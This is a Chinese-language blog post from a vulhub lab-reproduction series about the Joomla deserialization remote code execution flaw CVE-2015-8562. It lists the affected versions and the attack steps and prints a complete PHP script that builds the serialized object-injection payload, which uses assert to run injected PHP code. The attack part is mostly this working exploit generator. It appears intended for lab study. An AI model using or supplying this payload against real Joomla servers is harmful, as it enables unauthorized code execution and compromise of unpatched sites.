Joomla 3.4.5 反序列化漏洞（CVE-2015-8562）

最新推荐文章于 2022-02-04 16:30:24 发布

小白萝卜

最新推荐文章于 2022-02-04 16:30:24 发布

阅读量493

点赞数

分类专栏： vulhub漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/118515659

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

漏洞详细

具体参考：https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

影响范围

Joomla 1.5.x, 2.x, and 3.x before 3.4.6
PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞复现

不知为何环境开不起来，但是过程讲讲
先不带User-Agent头，访问一下主页，记下服务端返回的Cookie，等会我们会用到。
然后运行以下这段PHP代码，得到Poc：

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";